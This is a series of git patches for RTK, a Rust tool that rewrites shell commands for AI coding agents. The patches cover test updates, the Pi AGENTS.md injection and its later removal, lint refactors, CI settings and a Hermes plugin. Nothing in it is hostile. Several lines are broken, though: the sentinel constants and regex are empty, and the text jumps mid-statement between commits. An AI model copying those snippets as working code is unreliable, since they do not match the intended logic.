let args = vec!["main".to_string()]; + assert_eq!( + normalize_diff_args_impl(&args, exists_mock(&["main"])), + args, + "bare words must never trigger -- injection even when a same-named file exists" + ); } #[test] From add14643886e1b2c5450056433e577c003872e4d Mon Sep 17 00:00:00 2001 From: hed0rah <18272116+hed0rah@users.noreply.github.com> Date: Tue, 21 Apr 2026 17:42:16 -0400 Subject: [PATCH 029/204] fix(tests): update init.rs test calls for dry_run parameter --- src/hooks/init.rs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 8c0ce12c5a..2ba0752fe2 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -4230,7 +4230,7 @@ More notes fn test_global_default_mode_creates_artifacts() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); assert!(claude_dir.join(RTK_MD).exists(), "RTK.md must be created"); assert!( @@ -4252,8 +4252,8 @@ More notes fn test_global_uninstall_removes_artifacts() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - uninstall(true, false, false, false, 0).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); + uninstall(true, false, false, false, 0, false).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -4269,8 +4269,8 @@ More notes fn test_global_default_mode_idempotent() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); + run_default_mode(true, PatchMode::Auto, 0, false, false).unwrap(); let settings = fs::read_to_string(claude_dir.join(SETTINGS_JSON)).unwrap(); let count = settings.matches(CLAUDE_HOOK_COMMAND).count(); @@ -4282,14 +4282,14 @@ More notes fn test_upgrade_from_claude_md_to_hook_mode() { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { - run_claude_md_mode(true, 0, false).unwrap(); + run_claude_md_mode(true, 0, false, false).unwrap(); let claude_md_content = fs::read_to_string(claude_dir.join(CLAUDE_MD)).unwrap(); assert!( claude_md_content.contains(""; +const PI_AWARENESS_END: &str = ""; + +lazy_static! { + /// Matches the full sentinel block including any preceding newline so + /// replacement leaves no double-blank gaps. + static ref PI_SENTINEL_RE: Regex = + Regex::new(r"(?s)\n?.*?").unwrap(); +} + +/// Build the full sentinel-wrapped awareness block. +fn pi_awareness_block() -> String { + format!( + "{}\n{}\n{}", + PI_AWARENESS_START, + RTK_SLIM_PI.trim(), + PI_AWARENESS_END + ) +} + +/// Append or update the RTK awareness block in a Pi AGENTS.md file. +/// +/// Uses sentinel comments for idempotent install / version-bump updates: +/// - Sentinels absent → append block with a blank-line separator +/// - Sentinels present, content identical → no-op +/// - Sentinels present, content differs → replace block in-place +fn install_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { + let block = pi_awareness_block(); + + if agents_md_path.exists() { + let existing = fs::read_to_string(agents_md_path) + .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; + + if existing.contains(&block) { + if verbose > 0 { + eprintln!( + "Pi awareness already up to date: {}", + agents_md_path.display() + ); + } + return Ok(()); + } + + let updated = if PI_SENTINEL_RE.is_match(&existing) { + // Sentinels present but content differs (version bump) — replace in-place. + PI_SENTINEL_RE + .replace(&existing, format!("\n{}", block).as_str()) + .into_owned() + } else { + // No sentinels yet — append with a blank-line separator. + format!("{}\n\n{}", existing.trim_end(), block) + }; + + atomic_write(agents_md_path, &updated) + .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!("Updated Pi awareness: {}", agents_md_path.display()); + } + } else { + // File absent — create it containing only the awareness block. + atomic_write(agents_md_path, &block) + .with_context(|| format!("Failed to create {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!("Created Pi awareness: {}", agents_md_path.display()); + } + } + + Ok(()) +} + +/// Remove the RTK awareness sentinel block from an AGENTS.md file. +/// If the sentinels are absent this is a no-op. +fn remove_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { + if !agents_md_path.exists() { + return Ok(()); + } + + let existing = fs::read_to_string(agents_md_path) + .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; + + if !PI_SENTINEL_RE.is_match(&existing) { + return Ok(()); + } + + let updated = PI_SENTINEL_RE.replace(&existing, "").into_owned(); + atomic_write(agents_md_path, updated.trim_end()) + .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; + + if verbose > 0 { + eprintln!( + "Removed Pi awareness block from: {}", + agents_md_path.display() + ); + } + + Ok(()) +} + +/// Install the Pi extension and inject the awareness block into AGENTS.md. +/// +/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` + `$PI_CODING_AGENT_DIR/AGENTS.md` +/// global=false → `.pi/extensions/rtk.ts` + `./AGENTS.md` +/// +/// AGENTS.md injection is skipped in global mode when the Pi config directory +/// did not previously exist (the user has not yet run `pi`). The extension is +/// still written so the user gets immediate coverage once they do initialise Pi. +pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { + let mut should_install_awareness = true; + + let plugin_path = if global { + let pi_dir = resolve_pi_dir()?; + // Capture existence *before* we create subdirectories. + let pi_dir_preexisting = pi_dir.exists(); + + let path = pi_plugin_path(&pi_dir); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create Pi extensions directory: {}", + parent.display() + ) + })?; + } + + if !pi_dir_preexisting { + should_install_awareness = false; + } + + path + } else { + let path = pi_plugin_path_for_scope(false)?; + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create local Pi extensions directory: {}", + parent.display() + ) + })?; + } + path + }; + + let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; + let agents_md_path = pi_agents_md_path_for_scope(global)?; + + if should_install_awareness { + install_pi_awareness(&agents_md_path, verbose)?; + print_pi_result(&plugin_path, Some(&agents_md_path), installed); + } else { + eprintln!( + "[rtk] Pi config directory not found ({}).\n\ + Extension installed but skipping AGENTS.md injection.\n\ + Create the directory or run `pi` once to initialise it.", + resolve_pi_dir()?.display() + ); + print_pi_result(&plugin_path, None, installed); + } + + Ok(()) +} + +fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: bool) { + let status = if installed { + "installed" + } else { + "already up to date" + }; + println!("RTK Pi extension {}:", status); + println!(" Extension: {}", plugin_path.display()); + if let Some(p) = agents_md_path { + println!(" AGENTS.md: {}", p.display()); + } + println!(); + println!("Pi will load the extension automatically on next start."); + println!("Verify: pi -e {} --no-session", plugin_path.display()); +} + /// Return OpenCode plugin path: ~/.config/opencode/plugins/rtk.ts fn opencode_plugin_path(opencode_dir: &Path) -> PathBuf { opencode_dir.join(PLUGIN_SUBDIR).join(OPENCODE_PLUGIN_FILE) @@ -3740,6 +4009,9 @@ mod tests { use std::sync::Mutex; static CLAUDE_DIR_LOCK: Mutex<()> = Mutex::new(()); + static PI_DIR_LOCK: Mutex<()> = Mutex::new(()); + /// Serialises all tests that mutate the process-wide working directory. + static CWD_LOCK: Mutex<()> = Mutex::new(()); fn with_claude_dir_override(tmp: &TempDir, f: F) { let _guard = CLAUDE_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -3755,6 +4027,20 @@ mod tests { } } + fn with_pi_dir_override(tmp: &TempDir, f: F) { + let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let pi_dir = tmp.path().join("pi_agent"); + fs::create_dir_all(&pi_dir).unwrap(); + + let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); + std::env::set_var(PI_CODING_AGENT_DIR_ENV, &pi_dir); + f(&pi_dir); + match orig { + Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), + None => std::env::remove_var(PI_CODING_AGENT_DIR_ENV), + } + } + #[test] fn test_global_default_mode_creates_artifacts() { let tmp = TempDir::new().unwrap(); @@ -3782,7 +4068,7 @@ mod tests { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { run_default_mode(true, PatchMode::Auto, 0, false).unwrap(); - uninstall(true, false, false, false, 0).unwrap(); + uninstall(true, false, false, false, false, 0).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -3832,6 +4118,7 @@ mod tests { #[test] fn test_local_init_no_hook() { let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); @@ -3956,4 +4243,259 @@ mod tests { "RTK end marker must be removed" ); } + + // ─── Pi integration tests ─────────────────────────────────────────── + + #[test] + fn test_run_pi_mode_global_installs_plugin() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, 0).unwrap(); + + let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!(plugin.exists(), "global Pi extension must be created"); + + let content = fs::read_to_string(&plugin).unwrap(); + assert!( + content.contains("rtk rewrite"), + "extension must delegate to rtk rewrite" + ); + }); + } + + #[test] + fn test_run_pi_mode_local_installs_plugin() { + let tmp = TempDir::new().unwrap(); + let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let cwd = std::env::current_dir().unwrap(); + std::env::set_current_dir(tmp.path()).unwrap(); + + let result = run_pi_mode(false, 0); + std::env::set_current_dir(&cwd).unwrap(); + result.unwrap(); + + let plugin = tmp + .path() + .join(".pi") + .join(PI_EXTENSIONS_SUBDIR) + .join(PI_PLUGIN_FILE); + assert!(plugin.exists(), "local Pi extension must be created"); + } + + #[test] + fn test_run_pi_mode_global_injects_awareness() { + let tmp = TempDir::new().unwrap(); + with_pi_dir_override(&tmp, |pi_dir| { + run_pi_mode(true, 0).unwrap(); + + let agents_md = pi_dir.join(AGENTS_MD); + assert!(agents_md.exists(), "AGENTS.md must be created"); + + let content = fs::read_to_string(&agents_md).unwrap(); + assert!( + content.contains(PI_AWARENESS_START), + "AGENTS.md must contain sentinel start" + ); + assert!( + content.contains(PI_AWARENESS_END), + "AGENTS.md must contain sentinel end" + ); + }); + } + + #[test] + fn test_run_pi_mode_global_skips_awareness_when_dir_absent() { + let tmp = TempDir::new().unwrap(); + let absent_dir = tmp.path().join("no_such_pi_dir"); + let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); + let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); + std::env::set_var(PI_CODING_AGENT_DIR_ENV, &absent_dir); + + let result = run_pi_mode(true, 0); + + match orig { + Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), + None => std::env::remove_var(PI_CODING_AGENT_DIR_ENV), + } + + result.unwrap(); + + let plugin = absent_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); + assert!( + plugin.exists(), + "plugin must be written even when dir was absent" + ); + + let agents_md = absent_dir.join(AGENTS_MD); + assert!( + !agents_md.exists(), + "AGENTS.md must not be created when Pi dir was absent" + ); + } + + #[test] + fn test_install_pi_awareness_appends_to_existing_file() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + fs::write(&path, "# Existing content\n").unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + + let content = fs::read_to_string(&path).unwrap(); + assert!(content.contains("# Existing content")); + assert!(content.contains(PI_AWARENESS_START)); + assert!(content.contains(PI_AWARENESS_END)); + } + + #[test] + fn test_install_pi_awareness_idempotent() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + + install_pi_awareness(&path, 0).unwrap(); + let content_after_first = fs::read_to_string(&path).unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + let content_after_second = fs::read_to_string(&path).unwrap(); + + assert_eq!( + content_after_first, content_after_second, + "second install must be a no-op" + ); + assert_eq!(content_after_second.matches(PI_AWARENESS_START).count(), 1); + } + + #[test] + fn test_install_pi_awareness_replaces_stale_block() { + let tmp = TempDir::new().unwrap(); + let path = tmp.path().join(AGENTS_MD); + + let stale = + format!("# Existing\n\n\nstale content\n"); + fs::write(&path, &stale).unwrap(); + + install_pi_awareness(&path, 0).unwrap(); + + let content = fs::read_to_string(&path).unwrap(); + assert!( + !content.contains("stale content"), + "old block must be replaced" + ); + assert!( + content.contains(PI_AWARENESS_START), + "new sentinel must be present" + ); + assert_eq!(content.matches(""; -const PI_AWARENESS_END: &str = ""; - -lazy_static! { - /// Matches the full sentinel block including any preceding newline so - /// replacement leaves no double-blank gaps. - static ref PI_SENTINEL_RE: Regex = - Regex::new(r"(?s)\n?.*?").unwrap(); -} - -/// Build the full sentinel-wrapped awareness block. -fn pi_awareness_block() -> String { - format!( - "{}\n{}\n{}", - PI_AWARENESS_START, - RTK_SLIM_PI.trim(), - PI_AWARENESS_END - ) -} - -/// Append or update the RTK awareness block in a Pi AGENTS.md file. -/// -/// Uses sentinel comments for idempotent install / version-bump updates: -/// - Sentinels absent → append block with a blank-line separator -/// - Sentinels present, content identical → no-op -/// - Sentinels present, content differs → replace block in-place -fn install_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result<()> { - let block = pi_awareness_block(); - - if agents_md_path.exists() { - let existing = fs::read_to_string(agents_md_path) - .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; - - if existing.contains(&block) { - if verbose > 0 { - eprintln!( - "Pi awareness already up to date: {}", - agents_md_path.display() - ); - } - return Ok(()); - } - - let updated = if PI_SENTINEL_RE.is_match(&existing) { - // Sentinels present but content differs (version bump) — replace in-place. - PI_SENTINEL_RE - .replace(&existing, format!("\n{}", block).as_str()) - .into_owned() - } else { - // No sentinels yet — append with a blank-line separator. - format!("{}\n\n{}", existing.trim_end(), block) - }; - - atomic_write(agents_md_path, &updated) - .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!("Updated Pi awareness: {}", agents_md_path.display()); - } - } else { - // File absent — create it containing only the awareness block. - atomic_write(agents_md_path, &block) - .with_context(|| format!("Failed to create {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!("Created Pi awareness: {}", agents_md_path.display()); - } - } - - Ok(()) -} - -/// Remove the RTK awareness sentinel block from an AGENTS.md file. -/// Returns true if a block was found and removed, false if absent or file missing. -fn remove_pi_awareness(agents_md_path: &Path, verbose: u8) -> Result { - if !agents_md_path.exists() { - return Ok(false); - } - - let existing = fs::read_to_string(agents_md_path) - .with_context(|| format!("Failed to read {}", agents_md_path.display()))?; - - if !PI_SENTINEL_RE.is_match(&existing) { - return Ok(false); - } - - let updated = PI_SENTINEL_RE.replace(&existing, "").into_owned(); - atomic_write(agents_md_path, updated.trim_end()) - .with_context(|| format!("Failed to write {}", agents_md_path.display()))?; - - if verbose > 0 { - eprintln!( - "Removed Pi awareness block from: {}", - agents_md_path.display() - ); - } - - Ok(true) -} - -/// Install the Pi extension and inject the awareness block into AGENTS.md. +/// Install the Pi extension (hook-only; no AGENTS.md injection). /// -/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` + `$PI_CODING_AGENT_DIR/AGENTS.md` -/// global=false → `.pi/extensions/rtk.ts` + `./AGENTS.md` -/// -/// AGENTS.md injection is skipped in global mode when the Pi config directory -/// did not previously exist (the user has not yet run `pi`). The extension is -/// still written so the user gets immediate coverage once they do initialise Pi. +/// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` +/// global=false → `.pi/extensions/rtk.ts` pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { - let mut should_install_awareness = true; - let plugin_path = if global { let pi_dir = resolve_pi_dir()?; - // Capture existence *before* we create subdirectories. - let pi_dir_preexisting = pi_dir.exists(); - let path = pi_plugin_path(&pi_dir); if let Some(parent) = path.parent() { fs::create_dir_all(parent).with_context(|| { @@ -2045,11 +1914,6 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { ) })?; } - - if !pi_dir_preexisting { - should_install_awareness = false; - } - path } else { let path = pi_plugin_path_for_scope(false)?; @@ -2065,25 +1929,12 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { }; let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; - let agents_md_path = pi_agents_md_path_for_scope(global)?; - - if should_install_awareness { - install_pi_awareness(&agents_md_path, verbose)?; - print_pi_result(&plugin_path, Some(&agents_md_path), installed); - } else { - eprintln!( - "[rtk] Pi config directory not found ({}).\n\ - Extension installed but skipping AGENTS.md injection.\n\ - Create the directory or run `pi` once to initialise it.", - resolve_pi_dir()?.display() - ); - print_pi_result(&plugin_path, None, installed); - } + print_pi_result(&plugin_path, installed); Ok(()) } -fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: bool) { +fn print_pi_result(plugin_path: &Path, installed: bool) { let status = if installed { "installed" } else { @@ -2091,9 +1942,6 @@ fn print_pi_result(plugin_path: &Path, agents_md_path: Option<&Path>, installed: }; println!("RTK Pi extension {}:", status); println!(" Extension: {}", plugin_path.display()); - if let Some(p) = agents_md_path { - println!(" AGENTS.md: {}", p.display()); - } println!(); println!("Pi will load the extension automatically on next start."); println!("Verify: pi -e {} --no-session", plugin_path.display()); @@ -4287,28 +4135,18 @@ mod tests { } #[test] - fn test_run_pi_mode_global_injects_awareness() { + fn test_run_pi_mode_global_does_not_create_agents_md() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { run_pi_mode(true, 0).unwrap(); let agents_md = pi_dir.join(AGENTS_MD); - assert!(agents_md.exists(), "AGENTS.md must be created"); - - let content = fs::read_to_string(&agents_md).unwrap(); - assert!( - content.contains(PI_AWARENESS_START), - "AGENTS.md must contain sentinel start" - ); - assert!( - content.contains(PI_AWARENESS_END), - "AGENTS.md must contain sentinel end" - ); + assert!(!agents_md.exists(), "AGENTS.md must not be created"); }); } #[test] - fn test_run_pi_mode_global_skips_awareness_when_dir_absent() { + fn test_run_pi_mode_global_creates_plugin_when_dir_absent() { let tmp = TempDir::new().unwrap(); let absent_dir = tmp.path().join("no_such_pi_dir"); let _guard = PI_DIR_LOCK.lock().unwrap_or_else(|e| e.into_inner()); @@ -4331,135 +4169,26 @@ mod tests { ); let agents_md = absent_dir.join(AGENTS_MD); - assert!( - !agents_md.exists(), - "AGENTS.md must not be created when Pi dir was absent" - ); - } - - #[test] - fn test_install_pi_awareness_appends_to_existing_file() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - fs::write(&path, "# Existing content\n").unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - - let content = fs::read_to_string(&path).unwrap(); - assert!(content.contains("# Existing content")); - assert!(content.contains(PI_AWARENESS_START)); - assert!(content.contains(PI_AWARENESS_END)); - } - - #[test] - fn test_install_pi_awareness_idempotent() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - - install_pi_awareness(&path, 0).unwrap(); - let content_after_first = fs::read_to_string(&path).unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - let content_after_second = fs::read_to_string(&path).unwrap(); - - assert_eq!( - content_after_first, content_after_second, - "second install must be a no-op" - ); - assert_eq!(content_after_second.matches(PI_AWARENESS_START).count(), 1); - } - - #[test] - fn test_install_pi_awareness_replaces_stale_block() { - let tmp = TempDir::new().unwrap(); - let path = tmp.path().join(AGENTS_MD); - - let stale = - format!("# Existing\n\n\nstale content\n"); - fs::write(&path, &stale).unwrap(); - - install_pi_awareness(&path, 0).unwrap(); - - let content = fs::read_to_string(&path).unwrap(); - assert!( - !content.contains("stale content"), - "old block must be replaced" - ); - assert!( - content.contains(PI_AWARENESS_START), - "new sentinel must be present" - ); - assert_eq!(content.matches(" ") { @@ -1194,7 +1195,7 @@ fn filter_cargo_clippy(output: &str) -> String { // Sort warning rules by frequency let mut rule_counts: Vec<_> = by_rule.iter().collect(); - rule_counts.sort_by(|a, b| b.1.len().cmp(&a.1.len())); + rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); for (rule, locations) in rule_counts.iter().take(15) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); @@ -1632,10 +1633,22 @@ error[E0308]: mismatched types error: aborting due to 1 previous error "#; let result = filter_cargo_clippy(output); - assert!(result.contains("cargo clippy: 1 errors, 0 warnings"), "got: {}", result); - assert!(result.contains("error[E0308]: mismatched types"), "got: {}", result); + assert!( + result.contains("cargo clippy: 1 errors, 0 warnings"), + "got: {}", + result + ); + assert!( + result.contains("error[E0308]: mismatched types"), + "got: {}", + result + ); assert!(result.contains("src/main.rs:10:5"), "got: {}", result); - assert!(result.contains("expected `i32`, found `&str`"), "got: {}", result); + assert!( + result.contains("expected `i32`, found `&str`"), + "got: {}", + result + ); } #[test] diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index e147640ea5..6e37c15968 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -83,17 +83,13 @@ pub fn run(args: &[String], verbose: u8) -> Result { let user_args = args[start_idx..].to_vec(); match formatter.as_str() { - "black" => { - // Inject --check if not present for check mode - if !user_args.iter().any(|a| a == "--check" || a == "--diff") { - cmd.arg("--check"); - } + // Inject --check if not present for check mode + "black" if !user_args.iter().any(|a| a == "--check" || a == "--diff") => { + cmd.arg("--check"); } - "ruff" => { - // Add "format" subcommand if not present - if user_args.is_empty() || !user_args[0].starts_with("format") { - cmd.arg("format"); - } + // Add "format" subcommand if not present + "ruff" if user_args.is_empty() || !user_args[0].starts_with("format") => { + cmd.arg("format"); } _ => {} } diff --git a/src/discover/mod.rs b/src/discover/mod.rs index e1ff3a0807..36861406ba 100644 --- a/src/discover/mod.rs +++ b/src/discover/mod.rs @@ -228,7 +228,7 @@ pub fn run( .collect(); // Sort by estimated savings descending - supported.sort_by(|a, b| b.estimated_savings_tokens.cmp(&a.estimated_savings_tokens)); + supported.sort_by_key(|b| std::cmp::Reverse(b.estimated_savings_tokens)); let mut unsupported: Vec = unsupported_map .into_iter() @@ -240,7 +240,7 @@ pub fn run( .collect(); // Sort by count descending - unsupported.sort_by(|a, b| b.count.cmp(&a.count)); + unsupported.sort_by_key(|b| std::cmp::Reverse(b.count)); // Build RTK_DISABLED examples sorted by frequency (top 5) let rtk_disabled_examples: Vec = { diff --git a/src/hooks/hook_audit_cmd.rs b/src/hooks/hook_audit_cmd.rs index 2138ec939f..5fe339b940 100644 --- a/src/hooks/hook_audit_cmd.rs +++ b/src/hooks/hook_audit_cmd.rs @@ -143,7 +143,7 @@ pub fn run(since_days: u64, verbose: u8) -> Result<()> { if !skip_actions.is_empty() { let mut sorted_skips = skip_actions; - sorted_skips.sort_by(|a, b| b.1.cmp(&a.1)); + sorted_skips.sort_by_key(|b| std::cmp::Reverse(b.1)); for (action, count) in &sorted_skips { let reason = action.strip_prefix("skip:").unwrap_or(action); println!( diff --git a/src/learn/detector.rs b/src/learn/detector.rs index 81ebade847..867e035a6b 100644 --- a/src/learn/detector.rs +++ b/src/learn/detector.rs @@ -345,7 +345,7 @@ pub fn deduplicate_corrections(pairs: Vec) -> Vec Date: Sun, 10 May 2026 12:44:17 +0200 Subject: [PATCH 106/204] chore(ci): deny warnings and make clippy pass mandatory in ci --- .claude/agents/rust-rtk.md | 2 +- .claude/commands/tech/codereview.md | 12 ++++++------ .github/workflows/CICD.md | 15 +++++++-------- .github/workflows/ci.yml | 5 ++--- Cargo.toml | 4 ++++ 5 files changed, 20 insertions(+), 18 deletions(-) diff --git a/.claude/agents/rust-rtk.md b/.claude/agents/rust-rtk.md index 5adca48b91..4e86206e37 100644 --- a/.claude/agents/rust-rtk.md +++ b/.claude/agents/rust-rtk.md @@ -397,7 +397,7 @@ docker run --rm -v $(pwd):/rtk -w /rtk rust:latest cargo test # Linux via Docke ✅ **DO** compile regex once with `lazy_static!` ✅ **DO** verify token savings claims in tests (≥60%) ✅ **DO** test on macOS + Linux + Windows (via CI or manual) -✅ **DO** run `cargo fmt && cargo clippy && cargo test` before commit +✅ **DO** run `cargo fmt && cargo clippy --all-targets && cargo test` before commit ✅ **DO** benchmark startup time with `hyperfine` (<10ms target) ✅ **DO** use `anyhow::Result` with `.context()` for all error propagation diff --git a/.claude/commands/tech/codereview.md b/.claude/commands/tech/codereview.md index 35e92360d5..bcc58f0443 100644 --- a/.claude/commands/tech/codereview.md +++ b/.claude/commands/tech/codereview.md @@ -230,12 +230,12 @@ Glob tests/fixtures/_raw.txt └────────┬────────┘ │ ▼ - ┌──────────────────────┐ - │ 3. Quality gate │ - │ cargo fmt --all │ - │ cargo clippy │ - │ cargo test │ - └────────┬─────────────┘ + ┌─────────────────────────────┐ + │ 3. Quality gate │ + │ cargo fmt --all │ + │ cargo clippy --all-targets │ + │ cargo test │ + └──────────────┬──────────────┘ │ Loop ←┘ (max N iterations) ``` diff --git a/.github/workflows/CICD.md b/.github/workflows/CICD.md index b20e9cff6f..ad5deb0acc 100644 --- a/.github/workflows/CICD.md +++ b/.github/workflows/CICD.md @@ -10,17 +10,16 @@ Trigger: pull_request to develop or master └────────┬─────────┘ │ ┌────────▼─────────┐ - │ fmt │ + │ fmt --all │ └────────┬─────────┘ │ - ┌────────▼─────────┐ - │ clippy │ - │ -D unsafe_code │ - └┬───┬───┬───┬───┬─┘ + ┌───────────▼──────────┐ + │ clippy --all-targets │ + └───┬───┬───┬───┬───┬──┘ │ │ │ │ │ - ┌───────────────┘ │ │ │ └───────────────┐ - │ ┌───────────┘ │ └──────────┐ │ - ▼ ▼ ▼ ▼ ▼ + ┌───────────────┘ │ │ │ └────────────────┐ + │ ┌───────────┘ │ └───────────┐ │ + ▼ ▼ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌───────────┐ ┌─────────┐ ┌──────────┐ │ test │ │ security │ │ semgrep │ │benchmark│ │ doc │ │ ubuntu │ │ cargo │ │ AST-aware │ │ >=80% │ │ review │ diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b56acffad2..992dea78e6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -46,7 +46,7 @@ jobs: with: components: clippy - uses: Swatinem/rust-cache@v2 - - run: cargo clippy --all-targets -- -D unsafe_code + - run: cargo clippy --all-targets # ─── Parallel gates (all need code to compile) ─── @@ -220,7 +220,7 @@ jobs: - name: Install Go uses: actions/setup-go@v5 with: - go-version: 'stable' + go-version: "stable" - name: Install Go tools run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest @@ -228,7 +228,6 @@ jobs: - name: Run benchmark run: ./scripts/benchmark.sh - # ─── AI Doc Review: develop PRs only ─── doc-review: diff --git a/Cargo.toml b/Cargo.toml index 81cc9c1df4..726a01709c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -65,3 +65,7 @@ assets = [ assets = [ { source = "target/release/rtk", dest = "/usr/bin/rtk", mode = "755" }, ] + +[lints.rust] +unsafe_code = "deny" +warnings = "deny" From 9d3b99dec8516fd32071d151306b5bb6fd4d06e3 Mon Sep 17 00:00:00 2001 From: Kayphoon <109347466+Kayphoon@users.noreply.github.com> Date: Fri, 8 May 2026 05:40:41 +0800 Subject: [PATCH 107/204] feat(hermes): add rtk integration Signed-off-by: Kayphoon <109347466+Kayphoon@users.noreply.github.com> --- README.md | 8 +- .../guide/getting-started/supported-agents.md | 15 +- hooks/README.md | 18 +- hooks/hermes/README.md | 43 + hooks/hermes/rtk-rewrite/__init__.py | 80 ++ hooks/hermes/rtk-rewrite/plugin.yaml | 8 + hooks/hermes/tests/__init__.py | 0 hooks/hermes/tests/test_rtk_rewrite_plugin.py | 352 ++++++ src/discover/mod.rs | 1 + src/discover/provider.rs | 132 ++- src/discover/report.rs | 125 +- src/hooks/README.md | 3 +- src/hooks/constants.rs | 5 + src/hooks/hook_check.rs | 30 +- src/hooks/init.rs | 1029 ++++++++++++++++- src/main.rs | 94 +- 16 files changed, 1883 insertions(+), 60 deletions(-) create mode 100644 hooks/hermes/README.md create mode 100644 hooks/hermes/rtk-rewrite/__init__.py create mode 100644 hooks/hermes/rtk-rewrite/plugin.yaml create mode 100644 hooks/hermes/tests/__init__.py create mode 100644 hooks/hermes/tests/test_rtk_rewrite_plugin.py diff --git a/README.md b/README.md index d3ada2b142..a0db81d25c 100644 --- a/README.md +++ b/README.md @@ -110,12 +110,13 @@ rtk init --agent windsurf # Windsurf rtk init --agent cline # Cline / Roo Code rtk init --agent kilocode # Kilo Code rtk init --agent antigravity # Google Antigravity +rtk init --agent hermes # Hermes # 2. Restart your AI tool, then test git status # Automatically rewritten to rtk git status ``` -The hook transparently rewrites Bash commands (e.g., `git status` -> `rtk git status`) before execution. Claude never sees the rewrite, it just gets compressed output. +Hook-based agents rewrite Bash commands (e.g., `git status` -> `rtk git status`) before execution. Plugin-based agents, including Hermes, use their plugin API to rewrite commands before execution. The agent receives compact output without needing to call `rtk` explicitly. **Important:** the hook only runs on Bash tool calls. Claude Code built-in tools like `Read`, `Grep`, and `Glob` do not pass through the Bash hook, so they are not auto-rewritten. To get RTK's compact output for those workflows, use shell commands (`cat`/`head`/`tail`, `rg`/`grep`, `find`) or call `rtk read`, `rtk grep`, or `rtk find` directly. @@ -350,7 +351,7 @@ rtk git status ## Supported AI Tools -RTK supports 12 AI coding tools. Each integration transparently rewrites shell commands to `rtk` 